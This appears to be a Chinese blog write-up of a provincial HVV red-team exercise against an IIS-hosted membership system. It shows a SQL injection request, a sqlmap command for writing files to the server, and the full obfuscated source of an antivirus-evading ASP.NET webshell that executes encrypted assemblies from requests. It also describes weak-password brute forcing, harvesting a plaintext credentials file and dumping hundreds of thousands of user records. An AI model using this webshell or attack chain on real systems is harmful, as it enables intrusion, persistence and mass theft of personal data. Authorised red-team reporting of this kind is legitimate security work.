0X00 前言
这是之前一次某省HVV实战的经历,时间过去也有这么久了,就打个马儿写出来,本次主要案列还是通过批量收集脆弱资产,找到弱口令然后通过sql注入写马,最后翻看敏感信息提权获取目标靶机权限,因为是最后才接受项目的,这台主机又是台云主机,所以就没怎么进行后续利用了,拿了一些数据库的分就跑路了。
0X01 信息收集
收集思路:
信息收集这步还是非常重要的,结合之前的实战经验,我快速收集了关于提供的企业靶标的一些IIS站点的系统(该类站点一般是.net环境,解析asp,aspx脚本,且站点较老比较好提权比如直接上传一句话啥的),然后还有一些没有验证码的登录界面,方便弱口令爆破,这些系统可以帮助我们快速刷分。
收集方法:
工具的话一般都是那几套,网上有很多,我这里不多说啦,就提供一个本次收集IIS站的简单的方法,比如鹰图,可以直接域名检索然后点击然后在下载就行了,其他如fofa也是类似,可以自行搜索语法:
0X02 实战过程
1.这里通过上面方法快速找到一个IIS站点,且可以进行弱口令爆破的页面,看着应该是买的一个cms系统,在网上搜索该系统,并未发现存在历史漏洞。
2.还是不管那么多,先进行一手弱口令爆破,因为是关于会员系统的后台,猜测用户名可能是数字ID,这里通过账号1-9999,密码为top500,直接进行爆破,没想到很快就获取了几个弱口令,选了一个弱口令1802,1234,登录发现需要修改密码,1234应该是默认口令,不管了。。修改密码进入系统
3.后台上传测试发现上传未返回图片真实路径,进行各种fuzz后没成功,于是对整个站点使用burpsuit的被动扫描跑一下SQL注入,不得不说,BP这个被动扫描真的方便。
直接抓到一个注入包,而且还是mssql的数据库,这种数据库一般都是可以os-shell的
GET /Card/ShowImage?_mc_id=560888652%20or%207501%3d07501 HTTP/1.1
Host: xxxxx:xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: image/avif,image/webp,*/*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://xxxx:xx/zh/Member/MemberManager?_mb_code=HQ00000004&_row_num=4&_total_count=193&d=69
Cookie: ASP.NET_SessionId=diey55t5klplytadwntyae4m; Language=cn; emp_code=888
4.os-shell,但是由于目标机器存在杀软,命令全部执行失败了。
5.尝试使用写文件,使用sqlmap的命令写入成功,这里需要用到免杀webshell,因为目标有杀软防护,推荐该项目
https://github.com/Tas9er/ByPassBehinder/
生成的马儿:
Hello Administrator!
WelCome To Tas9er ASP.NET Console!<html>
</html>
{;}
<%@ImPoRt NaMeSpAce="System.Reflection"%>
<%
Session[System.Text.Encoding.Default.GetString(Convert.FromBase64String("aw=="))]=System.Text.Encoding.ASCII.GetString(new byte[1] { (byte)(49) })+System.Text.Encoding.ASCII.GetString(new byte[1] { (byte)(54) })+System.Text.Encoding.Default.GetString(Convert.FromBase64String("YWNhY2MwNWFhZmFmNg=="))+System.Text.Encoding.ASCII.GetString(new byte[1] { (byte)(55) });
%><%
Session["gov"]="https://"+"shanghai.g"+"ov.cn";
byte[] govCvfBnQcCvTV5lft = Encoding.Default.GetBytes/*gov3J3*/(Session[Convert.ToInt32(System.Text.Encoding.ASCII.GetString(new byte[1] { (byte)(48) }))] + ""),
govP = Request.BinaryRead/*govTF*/(Request.ContentLength);
Assembly.Load(new System./*govMpWdFY1bqeap*/Security/*govJvAbx*/.Cryptography/*govbjFXn0g2*/./*govLzvZR*/RijndaelManaged()/*govYLIXflrqclvy1u*/.CreateDecryptor(govCvfBnQcCvTV5lft, govCvfBnQcCvTV5lft).TransformFinalBlock/*gov4FYdv6bEIMWfm*/(govP, Convert.ToInt32(System.Text.Encoding.Default.GetString(Convert.FromBase64String("MA=="))), govP.Length))./*govFgcgs7jWMWfi*/CreateInstance(System.Text.Encoding.Default./*govr*/GetString(Convert.FromBase64String("VQ==")))/*govkev72*/.Equals(this);
%>
<%@ PagE LaNguAge="C#" %>
使用目录扫描探测到一个敏感地址Trace.axd,这个地址记录了一些页面报错的信息,在这里我们找到了网站的真实目录,只能说真是幸运哈哈
直接使用sqlmap写马,命令如下:
python sqlmap.py -r 1.txt --file-write="test.txt" --file-dest="D://EXTouch//EM2Member//asd4.txt"
6.成功连接
7.因为是网站web的权限,所以需要提权,本来是想上传免杀马上线cs,慢慢提权的,但是想到这种情况其实可以先搜寻系统中是否存在一些敏感文件,如存放用户信息的,网络运维资产的,密码文件信息的,根据以往经验,我很快就找到了一个非常nice的文件infomation.txt,打开直接获取到远程登录的IP地址和用户名密码,还有各个系统的账号密码,只能说轻松哈哈
8.通过泄露的远程登录的账号密码,直接远程成功,该地址也是目标机器,利用泄露的数据库直接连上获取了几十w的用户信息,刷了一w来分,因为时间不太够就没继续弄了。
0X03 总结
本次实战主要通过收集IIS站点信息,快速找到比较脆弱的资产,利用sql注入获取了权限,可惜时间不够,要不然应该还能拿到不少主机权限。
原文始发于微信公众号(夜安团队SEC):hvv实战记录-快速破点刷分案列
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论